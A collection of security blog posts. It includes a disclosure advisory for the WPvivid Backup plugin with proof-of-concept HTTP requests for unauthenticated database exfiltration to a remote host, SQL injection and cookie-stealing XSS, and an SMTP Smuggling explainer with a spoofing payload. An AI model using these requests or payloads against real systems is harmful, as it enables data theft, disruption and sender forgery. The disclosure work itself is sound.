Daher hat sich inzwischen ein Ablauf mit einer Vorwarnzeit für den Hersteller etabliert. Die Zeiträume variieren dabei – wir bei HiSolutions etwa planen in unserem Responsible-Disclosure-Prozess 90 Tage für die Reaktion des Herstellers ein. Falls mehrere Hersteller gleichzeitig betroffen sind, gibt es inzwischen auch etablierte Wege für eine koordinierte Veröffentlichung.

Diese Koordination ist bei der jüngst entdeckten SMTP-Smuggling-Lücke schiefgegangen. Die technischen Details zur Lücke und wer jetzt was patchen muss, hat mein Kollege Folker Schmidt in unserem Research Blog zusammengestellt.

Die Lücke wurde von Timo Longin von SEC Consult auf dem 37. Chaos Communication Congress vorgestellt. Die Hersteller der Mailserver, die in seinen Experimenten auffällig waren, wurden auch im Vorfeld informiert und reagierten teilweise direkt mit einer Lösung. Betroffen waren aber auch weitere Mailserverlösungen wie Postfix, deren Entwickler von der Veröffentlichung überrascht wurden und sehr schnell aktiv werden mussten. Eine Rekonstruktion, wie es dazu kommen konnte, wurde inzwischen im Blogpost von SEC Consult ergänzt.

Wenig später machte ein anderer Maintainer einer Open-Source-Software seinen Unmut öffentlich, diesmal jedoch nicht wegen ausbleibender Benachrichtigungen, sondern über viele unsinnige: Daniel Stenberg ist der ursprüngliche Entwickler und inzwischen Maintainer des Open-Source-Projects cURL, das von modernen Linux-Konsolen nicht mehr wegzudenken ist. In letzter Zeit häufen sich dort KI-generierte Meldungen von angeblichen Sicherheitslücken. Das Perfide daran ist, dass sie alle sehr schlüssig klingen und teilweise vorgebliche Exploits mitliefern. Erst beim Nachvollziehen im Sourcecode fällt dann auf dass der beschriebene Angriff gar nicht möglich ist. Halluzinationen sind ein bekanntes Problem von großen Sprachmodellen (LLM) und werden mit solchen halluzinierten Reports nun auch zu einem Problem für die Softwareentwickler.

HiSolutions Research

Multiple vulnerabilities in WordPress Plugin – WPvivid Backup and Migration

As part of a customer project, multiple vulnerabilities in the WordPress plugin WPvivid Backup and Migration (Free Edition) were identified and further investigated outside the project to determine the impact in more detail.

The vulnerabilities were identified in version 0.9.68 and probably exist in older versions as well. Upgrade the plugin WPvivid Backup and Migration (Free Edition) to the version 0.9.69 or higher as soon as possible to fix the vulnerabilities.

Background Information

WPvivid Backup and Migration is a WordPress plugin by WPvivid Team and offers backup, migration, and staging as basic features. This plugin has more than 200,000 active installations.

The vulnerabilities

Functions of the WPvivid Backup and Migration plugin in version 0.9.68 can be called remotely without authentication, which allows attackers to exfiltrate the entire WordPress database, for example, or to fill the hard disk of the corresponding system by multiple local copies of the WordPress pages disturbing their availability (CVE-2024-1982).

Furthermore, SQL queries can be manipulated (SQL injection), which means that further database contents can probably be read or manipulated without authentication (CVE-2024-1981).

The plugin is also vulnerable to stored cross-site scripting attacks . For this, a WordPress administrator must execute a manipulated link, for example. This vulnerability was simultaneously published by another researcher and is already tracked under CVE-2021-24994.

Unauthenticated Access to WPvivid Functions (CVE-2024-1982)

The following plugin functions can be called unauthenticated e. g. over the Internet:

  • wp_ajax_nopriv_wpvivid_restore
  • wp_ajax_nopriv_wpvivid_get_restore_progress
  • wp_ajax_nopriv_wpvividstg_start_staging_free
  • wp_ajax_nopriv_wpvividstg_get_staging_progress_free

The function wp_ajax_nopriv_wpvividstg_start_staging_free can be used to trigger the creation of a staging web page. Selected or all files of the WordPress installation are copied into a definable subdirectory. This functionality can be started without prior authentication like this:

POST /wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
Host: myblog.hisocorp.com
[…]
Content-Type: application/x-www-form-urlencoded

path=custom_name_staging_page&table_prefix=something&custom_dir=something&additional_db={"test":"test"}&root_dir=0

Afterwards, the server response {"result":"success","task_id":"wpvivid-61ba042730a63"} indicates that the action was successful.

By continuously running this function to create staging versions of the web application an attacker can exhaust the systems disk space. Normal operation of the system and especially of the web application can thus no longer be provided.

By specifying a remote system in the parameters of the function wp_ajax_nopriv_wpvividstg_start_staging_free, the contents of the WordPress installation can be exfiltrated. This can be done as in the following example request:

POST /wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
Host: example.org
[…]
Content-Type: application/x-www-form-urlencoded
 
path=name_existing_staging_page&create_new_wp=1&additional_db={"additional_database_check":"1","additional_database_info":{"db_host":"192.168.0.5","db_name":"something","db_user":"username","db_pass":"password"}}&custom_dir={"database_check":1}&table_prefix=something

Afterwards, the status must be queried once via the function wpvividstg_get_staging_progress_free:

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_get_staging_progress_free HTTP/1.1
Host: myblog.hisocorp.com
Content-Type: application/x-www-form-urlencoded

Thus, an attacker can retrieve sensitive data from WordPress databases.

Update: The vendor fix in version 0.9.69 simply disables the wpvividstg_start_staging_free action, see code changes to includes/staging/class-wpvivid-staging.php here.

SQL Injection in WPvivid Function (CVE-2024-1981)

The parameter table_prefix in the function wpvividstg_start_staging_progress_free appears to be vulnerable to an SQL injection. However, no more in-depth exploitability was performed as part of the research.

The following HTTP request was sent to the plugin function with the parameter value test':

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
Host: myblog.hisocorp.com
[…]
Content-Type: application/x-www-form-urlencoded

 
path=something&additional_db={"test":"test"}&custom_dir={"database_check":1}&table_prefix=test'

Subsequently, the status must be queried once via the function wpvividstg_get_staging_progress_free:

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_get_staging_progress_free HTTP/1.1
Host: myblog.hisocorp.com
Content-Type: application/x-www-form-urlencoded

It may happen that the status has to be queried several times until the following response containing the SQL exception is returned:

{"continue":0,"error":1,"error_msg":"Failed to create a table. Error:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '` (\n  `meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,\n  `comment_id` b...' at line 1, query:CREATE TABLE `test'commentmeta` (\n  `meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,\n  `comment_id` bigint(20) unsigned NOT NULL DEFAULT 0,\n  `meta_key` varchar(255) DEFAULT NULL,\n  `meta_value` longtext DEFAULT NULL,\n  PRIMARY KEY (`meta_id`),\n  KEY `comment_id` (`comment_id`),\n  KEY `meta_key` (`meta_key`(191))\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4","log":"open log file failed","percent":50,"result":"success"}

Update: Here, the vendor fix in version 0.9.69 is the same as for the previous vulnerability. The wpvividstg_get_staging_progress_free action was simply disabled by commenting it out in includes/staging/class-wpvivid-staging.php, see here.

Stored Cross Site Scripting (XSS) in WPvivid

Update: This vulnerability was also independently discovered and reported by another researcher and was assigned CVE-2021-24994 (published during the responsible disclosure process, see here).

The plugin offers remote storage on a Google Drive. For this, an account (called Google Drive Remote Storage Account) for the corresponding authentication must be provided. The name of the specified account is included partially unfiltered in an onclick JavaScript area within the plugin. This means that arbitrary HTML and JavaScript code can be injected. This behavior allows stored XSS attacks via the plugin web interface.

When a logged in WordPress administrator executes the following link, an account with the specified name is automatically stored in the plugin:

http://myblog.hisocorp.com/wp-admin/admin.php?page=WPvivid&action=wpvivid_google_drive_finish_auth&name=test2%22%20onload%3dalert(document.cookie)%3E&default=lll%27%22lll&auth_id

The payload passed in this example adds the JavaScript attribute onload, which is used to display the session cookies in an alert box:

Responsible Disclosure Timeline

  • 15.12.2021 – HiSolutions identified the vulnerabilities
  • 14.01.2022 – HiSolutions contaced WPvivid Team via contact form
  • 20.01.2022 – WPvivid Team responds and HiSolutions sends the details regarding the vulnerabilities
  • 14.02.2022 – WPvivid Team provides the new version 0.9.69 in which the vulnerabilities should be fixed
  • 01.03.2022 – HiSolutions tests the new version. The vulnerabilities were fixed.
  • 29.02.2024 – The Wordfence CNA issues CVE-2024-1981 and CVE-2024-1982.

Credits

The vulnerabilities were found by Denis Werner (HiSolutions AG). The fixes were reviewed by David Mathiszik (HiSolutions AG).

SMTP Smuggling-Fallout oder: Wer muss jetzt eigentlich was patchen?

Dieser Artikel ist auch auf Englisch verfügbar.

tl;dr 1: Alle, die einen verwundbaren Server betreiben, müssen die verfügbaren Patches einspielen.
tl;dr 2: Patchen alleine wird in vielen Fällen nicht reichen, die Konfiguration muss ggf. auch angepasst werden.

Die Veröffentlichung der als “SMTP Smuggling” betitelten Sicherheitslücke in vielen Mailservern (Timo Longin, SEC Consult) am 18.12.2023 und die darauf folgende Präsentation auf dem 37. Chaos Communication Congress (37C3, verfügbar unter media.ccc.de) in Hamburg verursachte bei einigen Kunden zwischen Weihnachtsbraten und Sektkorken noch einmal kurze Aufregung, denn die Implementierung des für den weltweiten E-Mail-Versand verwendeten Protokolls SMTP auf diversen Mailservern weist eine Schwachstelle auf, die das Versenden von E-Mails unter fremdem Namen erlaubt.

E-Mail-Spoofing, also das Fälschen der Absenderadresse, ist nicht gerade eine neue Erfindung und wird unter anderem durch Maßnahmen wie SPF oder DMARC erschwert, bei denen der empfangende Server überprüfen kann, ob der sendende Server wirklich berechtigt ist, eine E-Mail für die jeweilige Domain des Absenders zu verwenden. Doch diese Maßnahmen erschweren nur das Versenden von E-Mails mittels fremden Servern. Was aber, wenn der versendende Server missbräuchlich verwendet wird?

“SMTP-Smuggling” nutzt Schwachstellen auf der Empfängerseite aus, um genau das zu tun. Das SMTP-Protokoll erlaubt prinzipiell, mehrere E-Mails in einem einzigen Kommando zu verschicken. Hierbei werden die einzelnen E-Mails mittels einer Sequenz von Zeichen, dem sogenannten END-OF-DATA Markers getrennt, die dem verarbeitenden Server anzeigen, wo eine E-Mail zu Ende ist und die nächste beginnt. Nun ist die entsprechende Zeichenfolge in den zugehörigen RFCs (Request for Comments, sozusagen die Definitionen der Standards für die gängigen Protokolle) 5321 und 5322 definiert und alle Mailserver richten sich auch grundlegend nach diesen Angaben, um miteinander zu kommunizieren. Jedoch erlauben einige Mailserver-Implementierungen Abweichungen von diesem Standard, um auch mit Servern kompatibel zu sein, die sich nicht zu 100% daran halten – und damit klar den RFCs widersprechen. Genau hier ist die Schwachstelle zu suchen.

Die Zeichenfolge für das Ende einer E-Mail ist laut RFC <CR><LF>.<CR><LF> (<CR> steht für “carriage return”, also den von der Schreibmaschine bekannten Wagenrücklauf zum Anfang der Zeile und wird auch als \r dargestellt, <LF> bedeutet “line feed”, also das Springen in die nächste Zeile und wird auch als \n dargestellt). Kurz gesagt also einen Punkt, der in einer einzelnen Zeile steht. Nun stellen aber Windows- und Unix-basierte Systeme den Zeilenumbruch unterschiedlich dar. Während Windows <CR><LF> nutzt, verwenden beispielsweise Linux und MacOS nur <LF>. Andere Systeme verwendeten früher stattdessen <CR>, wobei unklar ist, ob diese Schreibweise heute noch Anwendung findet. Sofern Mailserver sie aus Kompatibilitätsgründen akzeptieren, tut das auch nichts zur Sache. Je nachdem, an welche Schreibweise sich der Mail-Client hält, kann der END-OF-DATA Marker also mal <CR><LF>.<CR><LF>, <CR>.<CR> oder auch <LF>.<LF> sein. Es gibt noch weitere Schreibweisen, die von einigen Mailservern akzeptiert werden, doch die genannten sind die gängigsten. Viele Mailserver akzeptieren also zwecks Kompatibilität mehrere mögliche Marker-Schreibweisen.

Verwendet man nun einen Mail-Server, der END-OF-DATA Marker anders interpretiert als der empfangene Server, kann man dies ausnutzen, um der Empfängerseite statt einer mehrere E-Mails unterzujubeln. Da der sendende Server an dieser Stelle nicht bemerkt, dass er mehr als eine E-Mail versendet (faktisch tut er dies aus seiner Sicht auch nicht, dazu gleich mehr), greifen an dieser Stelle auch keine Maßnahmen, um das Versenden unter falschem Absender zu verhindern.

Sicherheitsbewusste Administratoren konfigurieren ihre Mailserver derart, dass vor dem Absenden einer E-Mail geprüft wird, ob der Nutzer, der diese E-Mail versenden möchte, die Berechtigung hat, mit der angegebenen Absenderadresse zu versenden. Dies geschieht beispielsweise bei Postfix über den Konfigurationsparameter reject_authenticated_sender_login_mismatch, der in der unter $smtpd_sender_login_maps definierten Datenbank abgleicht, welcher User mit welchen Mailadressen versenden darf. Eine E-Mail beinhaltet im SMTP-Header immer mindestens zwei Angaben zu Sender (MAIL FROM) und Empfänger (RCPT TO), wobei die Empfänger-Adresse das Ziel der E-Mail definiert. Die Sender-Adresse wird in solchen Fällen vom Mailserver vor dem Versenden gegen eine Liste der E-Mail-Adressen abgeglichen, die dem angemeldeten Nutzer zugeordnet sind. Wird eine E-Mail-Adresse als Absender eingetragen, für die man keine Sendeberechtigung besitzt, verweigert der Server dann den Versand.

Fügt man nun mittels des (dem sendenden Server unbekannten) END-OF-DATA Markers direkt eine weitere E-Mail an die bestehende E-Mail an, bemerkt der sendende Mailserver nicht, dass eine weitere E-Mail im Datensegment existiert. Für diese “geschmuggelte” E-Mail wird also absenderseitig keine Prüfung auf die Berechtigung zum Versand mit der dort angegebenen Absenderadresse durchgeführt und die E-Mail wird versandt. Die einzige Einschränkung ist: Die Absenderadresse muss von einer der Domains stammen, für die der Server sendeberechtigt ist. Ganz konkret geht es hier um die via SPF oder DMARC via DNS festgelegte Sendeberechtigung und Signierung, die gerade bei Clouddiensten oft über einige wenige Gateways für alle verwalteten Domains abgebildet werden.

Als Beispiel verwenden wir hier einen Server, der <CR><LF>.<CR><LF> bzw. \r\n.\r\n als END-OF-DATA Marker verwendet und unzulässigerweise andere Marker zulässt. Ein Beispiel für eine Valide E-Mail von user@sender an user@receiver sähe folgendermaßen aus:

mail FROM: user@sender\r\n
rcpt TO: user@receiver\r\n
data\r\n
From: user@sender\r\n
TO: user@receiver\r\n
Subject: Erste E-Mail\r\n
\r\n
Dies ist die erste E-Mail\r\n
\r\n.\r\n

Eine präparierte E-Mail sähe wie folgt aus (hier wird der dem sendenden Server unbekannte Marker <LF>.<LF> bzw. \n.\n verwendet):

mail FROM: user@sender\r\n
rcpt TO: user@sender\r\n
data\r\n
From: user@sender\r\n
TO: user@receiver\r\n
Subject: Erste E-Mail\r\n
\r\n
Dies ist die erste E-Mail\r\n
\n.\n
mail FROM: admin@sender\r\n
rcpt TO: user@receiver\r\n
data\r\n
From: admin@sender\r\n
TO: user@receiver\r\n
Subject: Geschmuggelte E-Mail\r\n
\r\n
Dies ist die geschmuggelte E-Mail\r\n
\r\n.\r\n

Der empfangende Server empfängt nun die präparierte E-Mail und verarbeitet diese. Handelt es sich um einen verwundbaren Server, interpretiert er den dem versendenden Server unbekannten END-OF-DATA Marker <LF>.</LF> bzw. \n.\n als Trenn-Marker und stellt damit zwei E-Mails zu: Eine von user@sender und eine von admin@sender. Der empfangene Server hat an dieser Stelle keine Möglichkeit zu erkennen, dass es sich nicht wirklich um eine E-Mail von admin@sender handelt. Zudem haben auch Experten, die verdächtige E-Mails anhand deren Header auf Manipulationen oder fremde Herkunft überprüfen sollen, hier einen deutlich schwereren Stand: Die im Mailheader dokumentierten Checks gegen SPF und DMARC sind valide, zudem kann ein Angreifer in der “geschmuggelten” Mail beliebige SMTP-Header platzieren, um diese valide erscheinen zu lassen.

Inwiefern das nun gefährlich ist, wird klar, wenn man einen der großen Mailanbieter als Beispiel einsetzt: Versendet ein Angreifer eine präparierte E-Mail von einem Account bei Google (z.B. Testuser234@gmail.com) und schmuggelt eine weitere E-Mail von support@gmail.com hinein, kann er den Empfänger dazu verleiten, einen Link zu einer von ihm hochgeladenen Malware anzuklicken. Der Nutzer muss an dieser Stelle davon ausgehen, dass der echte Google-Support ihn anschreibt, eine Manipulation ist nicht erkennbar. Wenn – wie bei großen Cloud-Anbietern – auch noch die SPF– und DMARC-Records für hunderttausende Domains identisch gesetzt sind, konnte man beispielsweise auch von einem privaten Mailaccount, der einen dort gehosteten Mailserver nutzt, eine Mail für jede beliebige andere dort gehostete Domain versenden. Die großen Mailanbieter filtern zwischenzeitlich derartige Zeichenketten aus und verbieten den Versand, um das Ausnutzen dieser Sicherheitslücke zu verhindern, jedoch kann das keinesfalls eine generelle Entwarnung bedeuten.

Das Problem ist zum einen, dass nicht alle Anbieter das Problem als solches anerkennen (Cisco vertrat beispielsweise den Standpunkt, dass es sich um ein erwünschtes Verhalten handle und nicht gepatcht werden muss, ist zwischenzeitlich jedoch zurückgerudert). Zum anderen kann man als Empfänger niemals wissen, ob der sendende Server die Patches bereits implementiert hat. Der eigene Mailprovider wird vermutlich seine Kunden darüber zeitnah informieren. Das Patchen der Mailserver verhindert, dass END-OF-DATA Marker nicht-RFC-konform verwendet werden können, um E-Mails wie oben beschrieben an weitere verwundbare Server zu schmuggeln. Damit ist aber das Patchen selbst betriebener Server unbedingt notwendig, denn den Empfang (bzw. die fehlerhafte Verarbeitung) von manipulierten E-Mails von ungepatchten Servern kann man nur an dieser Stelle verhindern.

Die Anbieter der verschiedenen Mailserver stellen inzwischen Patches für ihre Produkte bereit. Es kann jedoch einige Zeit dauern, bis diese für alle Betriebssysteme und Versionen verfügbar sind, manche ältere Versionen werden vermutlich auch keinen Patch erhalten. Oft (zumindest im Falle Postfix) wird auch das einfache Patchen nicht ausreichen: Open Source-Projekte wie Postfix führen neue Konfigurationsparameter ein, die nur in den neuesten Serverversionen automatisch aktiv gesetzt werden. Ältere Versionen, wie sie oft noch in LTS-Varianten von Linux-Servern verwendet werden, benötigen ein wenig Handarbeit. Daher muss nach einem Update auch zwingend geprüft werden, ob die neue Konfiguration greift. Wenn nicht, muss diese zusätzlich angepasst werden und der Dienst neu gestartet werden. Für jeden Mailserver sollte einzeln geprüft werden, ob ein Patch zur Verfügung steht und welche Teile der Schwachstelle damit konkret behoben werden.

Zum Abschluss noch zwei Anmerkungen, da wir über unklare Formulierungen gestolpert sind:

Die Forschenden geben an, dass zur Ausnutzung des beschriebenen Verhaltens mindestens zwei Mailserver benötigt werden, was unterschiedlich interpretiert werden kann. Die Angabe ist wörtlich zu verstehen, es braucht mindestens einen sendenden und einen zweiten, empfangenden Mailserver – lokal lässt sich die Lücke nicht ausnutzen. Das bedeutet letztlich, dass ein erreichbarer Mailserver ausreicht, sofern er verwundbar ist.

Im Artikel wird DKIM als eine der Maßnahmen erwähnt, die mit der beschriebenen Schwachstelle möglicherweise ausgehebelt werden können. Dies ist nach unserem Verständnis nicht der Fall, da nach der Auftrennung der eingehenden Nachricht für beide E-Mails die Signaturen nicht mehr stimmen, denn diese schließen auch den DATA-Bereich der Mail ein, der nun verändert ist.

SMTP Smuggling-Fallout  – or: Who should patch now? What and how?

This article is also available in German.

tl;dr 1: All those who run a vulnerable server should patch it really soon.
tl;dr 2: Patching alone usually won’t suffice – in most cases configuration options will have to be changed, too.

This winter season had administrators of of mail servers stirring between christmas cake and new year’s toasts, as the „SMTP Smuggling“ security leak made rounds. It was published on 2023-12-18 by Timo Longin, SEC Consult and presented two weeks later at the (in)famous 37th Chaos Communication Congress (37C3) in Hamburg. The talk has been recorded and is available at media.ccc.de.

The security vulnerability, which allows sending out emails under fake names from valid original servers, affects the standard protocol SMTP which is used worldwide to transfer emails between email servers. Email-Spoofing, i.e. sending out emails under forged sender name, is not exactly a new invention. Nowadays countermeasures like SPF and DMARC  (in combination) provide a means to check whether a mail server is allowed to send mails from a certain domain and server – or not. But what, if validated mail servers could be abused to send out illicit emails?

For efficiency reasons the SMTP protocol allows transferring multiple emails in one session. And this is exactly where the „SMTP-Smuggling“ vulnerability kicks in. When sending multiple emails in one go, the emails are separated by the END-OF-DATA marker as defined in RFCs (Request for Comments, the standards documents defining computer data protocols) 5321 and 5322. All email servers worldwide must basically follow these standards (at least to a certain extent) to be able to send and receive emails. Some mail server software allows for some leniency so slightly deviating or broken mail clients still can participate in email exchange.  And exactly this where SMTP Smuggling attacks.

The aforementioned END-OF-DATA marker is defined as <CR><LF>.<CR><LF> (<CR> is „carriage return“, as the older ones might remember from typewriters for returning to the first column, also written as \r, whereas <LF> is „line feed“, forwarding the paper to the next line, also written as \n).

So this basically is a sole dot in an otherwise empty line.

While Microsoft Windows systems generally define a the marker for the next line as <CR><LF>, Unix-based operation systems like Linux, BSD, MacOS-X etc only use a solo <LF>. On some older or more obscure operating systems other methods are used (e.g. the old Finder-based MacOS (version 7 and older) use(d) a solo <CR> as next-line-marker).

Knowing this it might not come as surprise that for compatibility reasons quite some mail servers accept “a sole dot in an otherwise empty line” as END-OF-DATA marker regardless wether with standards conforming next-line markers <CR><LF>.<CR><LF>, <CR>.<CR> , or with Unix-style next-line <LF>.<LF> – or other encodings.

So if now a lenient mail server accepts non-conforming END-OF-DATA markers, an attacker can send one single mail that is interpreted as multiple independent mails which are then delivered as defined by the attacker. As a strictly standards-compliant mail server does not recognize broken END-OF-DATA markers as end-of-data, defense mechanisms against faking sender addresses do not work for the embedded second email, and the one mail including the smuggled second is forwarded to the target mail server.

Security-aware server administrators usually have configured their mail servers so that every email is checked whether the delivering user is actually allowed to send the mail with the given sender address. In Postfix mail server configuration this can be set with the option reject_authenticated_sender_login_mismatch, which matches user names to sender addresses in the $smtpd_sender_login_maps database.

Each email contains at least two addresses: one on denoting the sender (MAIL FROM) and the other one the recipient (RCPT TO). When safeguarding the mail server against forgery it can (depending on software and configuration used) check the emails sender against a list of email addresses the user is allowed to use. If the it is not on the delivering user’s list, delivery of the the mail is rejected. The sole exception is that the original server is allowed to send mails for the (original/first) mmail sender domain. The smuggled second/third emails won’t be checked against maybe existing SPF oder DMARC sender restrictions – as the server only is sending one strictly valid mail after all. This is especially relevant for cloud services with many domains with very many mail addresses sharing the same SPF/DMARC configurations

A single mail dialoge with standards-compliant END-OF-DATA marker <CR><LF>.<CR><LF> looks for example like this (the first two lines defining the envelope, the 4th to 6th line the header) – ending with \r\n.\r\n:

mail FROM: user@sender\r\n
rcpt TO: user@receiver\r\n
data\r\n
From: user@sender\r\n
TO: user@receiver\r\n
Subject: Erste E-Mail\r\n
\r\n
Dies ist die erste E-Mail\r\n
\r\n.\r\n

In contrast to this an attacker’s email might look like this, using a nonstandard marker for mail separation <LF>.<LF> (or  \n\n respectively):

mail FROM: \r\n
rcpt TO: \r\n
data\r\n
From: user@sender\r\n
TO: user@receiver\r\n
Subject: Erste E-Mail\r\n
\r\n
Dies ist die erste E-Mail\r\n
\n.\n
mail FROM: admin@sender\r\n
rcpt TO: user@receiver\r\n
data\r\n
From: admin@sender\r\n
TO: user@receiver\r\n
Subject: Geschmuggelte E-Mail\r\n
\r\n
Dies ist die geschmuggelte E-Mail\r\n
\r\n.\r\n

The receiving server accepts the mail and then processes it. If the server is vulnerable to this attack, it leniently accepts <LF>.</LF> (resp. \n.\n) as END-OF-DATA marker and splits the prepared mail into two – separated by the perceived (yet strictly speaking: invalid) marker. As it already accepted the email delivery, it now delivers two mails: one from user@sender and the other by admin@sender – without being able to recognize admin@sender as invalid as all checks already have been passed. Even experts will have a hard time recognising the smuggled mail as such, because originating server, mail headers and SPF and DMARC checks all are valid.

This is especially dangerous for big mail providers. If for example an attacker sends a thusly prepared mail from an account at hypothetically vulnerable Google mail service (e.g. Testuser234@google.com) and smuggles another mail into it from support@gmail.com, the recipient cannot tell, whether that email is legit and that the attachment-to-be-clicked really should be clicked: it originates from the correct server, all headers are like an original one, SPF and DMARC all check as valid. Big cloud and mail providers often use the same SPF/DMARC policy for thousands of domains, so an attacker could send out mail from any of those domains and still pass SPF/DMARC checks. Luckily the big mail providers already filter out malformed END-OF-DATA markers and thus prevent this attack. But as this is the first but probably not last one of such attacks, and because to all mail server admins have patched their systems yet, it is too early to dismiss the warning.

Aggreviating this problem is that not all providers or manufacturers acknowledge this as possible problem. For example Cisco’s mail filter appliance did not filter but “corrected” malformed END-OF-DATA markers – insisting that of not being a problem (What they nowadays recognize as possible attack vector). As mail recipient you never know how the sending server might be configured. So on your receiving end the mailserver must be patched accordingly and filter out noncompliant mails. A mail service provider will probably notify its customers as soon as its servers prevent sending corrupt END-OF-DATA markers and thus smuggling forged mails. Patching and proper filtering of corrupt markers is the only way to be able to prevent sending out mails with contraband.

Currently security patches are available dor most mail server software – though it might take some time for those to trickle down the supply chain. And sometimes simple patching won’t fix the problem due to compatibility considerations for existing configurations. For example the Open Source project Postfix (included and often used in Ubuntu) “only” makes filter options available, that have to be explicitly enabled if there already is an individual server configuration. So the proper options must be configured, the mail service restarted and mail flow checked.

We would like to add two notes on two topics where we tripped over ambiguous wording:

The researchers mentioned that two mail servers are necessary to enable smtp smuggling – which can be interpreted in multiple ways. As the vulnerability cannot be triggered locally, a receiving mail server and an SMTP mail delivered to it are needed. Thus a vulnerable mail server that is reachable via SMTP should suffice.

The article mentioned DKIM as one security measure that could be broken by this vulnerability. This usually is not true according to our research for mails that have been signed on the sending mail server – when the original mail is broken up on the receiving system the mail body (originally including the smuggled mail) has changed and this the original DKIM body checksum won’t match any more.

Es ist nicht immer MFA, wenn MFA draufsteht.

Am 27. August wurde die Firma Retool, der Anbieter einer Low-Code-Entwicklungsplattform, Opfer eines Social-Engineering-Angriffs. Dank der im April eingeführten Synchronisationsfunktion der Google-Authenticator-App konnten Angreifer die Multi-Faktor-Authentifizierung (MFA) zu einer Single-Faktor-Authentifizierung downgraden und sich so Zugriff zum Retool-Netzwerk verschaffen.

Der initiale Eindringvektor der Angreifer war ein Smishing-Angriff (Phishing über SMS-Textnachrichten) an mehrere Retool-Mitarbeiter. Ein Mitarbeiter ist dem Aufruf der Nachricht gefolgt und hat seine Zugangsdaten auf einem gefälschten Log-in-Portal eingegeben. Da Retool MFA verwendet, erhielten die Angreifer mit den Zugangsdaten allein jedoch noch keinen Zugriff zu den Accounts oder dem Retool-Netzwerk. Daher starteten sie einen gut vorbereiteten Vishing-Anruf (Phishing über Telefon) gegen den Mitarbeiter und konnten diesem auch einen Code für die Multi-Faktor-Authentifizierung entlocken.

Die Angreifer verwendeten die Zugangsdaten und den MFA-Code, um ihr Gerät mit dem SSO-Konto des Mitarbeiters zu verbinden und u. a. Zugriff zu seinem Google-Konto zu erhalten. Dies erwies sich als verheerend, da Google seine in der Google-Authenticator-App generierten MFA-Codes seit April 2023 automatisch mit dem Google-Konto synchronisiert. Die Angreifer konnten nun die MFA-Codes, welche z. B. bei der Verbindung mit dem Retool-VPN oder den Verwaltungssystemen benötigt wurden, einfach aus dem Google-Konto des kompromittierten Mitarbeiters auslesen. Effektiv wurde die Multi-Faktor-Authentifizierung (MFA) dadurch zu einer Single-Faktor-Authentifizierung herabgestuft.

Unternehmen, welche auf die Google-Authenticator-App setzen, sollten sich bewusst sein, dass die Synchronisationsfunktion standardmäßig aktiv ist. Das Deaktivieren der Funktion ist nur möglich, indem das Google-Konto vollständig von der App entkoppelt wird.

Immer wieder überrascht die Kreativität der Angreifer, mit welcher versucht wird, MFA zu umgehen. Seit Jahren werden bspw. SIM-Swapping-Angriffe dazu genutzt, um über SMS versendete MFA-Codes abzufangen.

Mittels sogenannten MFA-Bombing- oder MFA-Fatigue-Angriffen ist es der Hackergruppe “Lapsus$” Anfang 2022 gelungen, die MFA von Microsoft und anderen Unternehmen zu umgehen. Bei diesem Angriff werden die betroffene Personen mit MFA-Anfragen überflutet, z. B. um 1 Uhr nachts, in der Hoffnung, dass sie in der Stress-Situation oder versehentlich eine davon akzeptieren.

Einen Phishing-resistenteren MFA-Schutz bieten Sticks oder Android-Smartphones mit Fido bzw. WebAuthn. Der Nachteil dieser Lösung ist, dass der zu schützende Dienst diese unterstützen muss.

https://retool.com/blog/mfa-isnt-mfa/

https://security.googleblog.com/2023/04/google-authenticator-now-supports.html

https://www.golem.de/news/retool-kritisiert-google-authenticator-macht-cyberangriff-erst-richtig-effektiv-2309-177706.html#

https://www.golem.de/news/lapsus-hackergruppe-umgeht-2fa-mit-einfachem-trick-2203-164236.html

Was haben drei Töne mit Informationssicherheit zu tun?

Als am späten Abend des 25. August bei mehreren Zügen der polnischen Bahn PKP plötzlich eine Notbremsung ausgelöst wurde, dachten einige gleich an einen komplexen Cybervorfall. Mehr als 20 Züge wurden zum Halten gebracht, und weitere wurden anschließend aus Sicherheitsgründen gar nicht erst auf die Strecken gelassen.

Die Angreifer mussten sich nicht aufwendig über mehrere Netzgrenzen hinweg bis in die Steuerungstechnik des Bahnnetzes hacken. Der Angriff erfolgte per Funksignal. Eine Folge von drei Tönen auf einer bestimmten Frequenz reichte aus, um die Züge zu stoppen. Dahinter steckt die Sicherheitsmaßnahme (Sicherheit im Sinne von Safety) RADIOSTOP des PKP-Funksystems. Diese Funktion kann an jedem Funkgerät im Zug oder an der Strecke ausgelöst werden und sorgt dafür, dass im Gefahrenfall alle Züge im Empfangsbereich so schnell wie möglich zum Stehen kommen. Bei einem Unfall geht eine sehr große Gefahr von anderen, insbesondere entgegenkommenden Zügen aus – und diese an sichsehr hilfreiche Funktion ermöglicht es, schnell reagieren zu können.

Die Tonfolge ist wohlbekannt und steht sogar in EU-Dokumenten, und die notwendige Funktechnik ist leicht selbst zu bauen. Bei einer Analyse auf der Webseite des Technik-Magazins Wired sprach sich der Sicherheitsforscher Lukasz Olejnik daher dagegen aus, den Vorfall als Cybervorfall zu bewerten. Aber muss ein Cybervorfall sich immer um kompromittierte Computer drehen? Mit den vermutlich selbst zusammengelöteten Funkgeräten, konnten doch auch Schutzziele der Bahn verletzt werden.

Aber andersrum gefragt: Hätten Sie den analogen Zugfunk in Ihre Betrachtungen zur Informationssicherheit einbezogen? Gibt es auch in Ihrem Haus Sicherheitslösungen, die im Gefahrenfall beispielsweise Türen öffnen oder den Serverraum trotz Netzersatzanlage vom Strom trennen?

Wie das polnische Beispiel ausgeht, ist noch offen. Obwohl erste Verdächtige verhaftet und passendes Equipment gefunden wurde, gab es einige Tage lang auch in anderen Landesteilen weitere Vorfälle.

LLMs sind auch nur (schützenswerte) Informationen

Kaum ein Thema in der IT erzeugt derzeit mit ähnlicher Taktrate neue Schlagzeilen wie die aktuelle Entwicklung von sogenannten Large Language Models (LLMs). LLMs stellen eine Variante von künstlichen neuronalen Netzen dar, die auf der Transformer-Architektur basieren. Diese wurde im Artikel “Attention is All You Need” von Google vorgestellt.

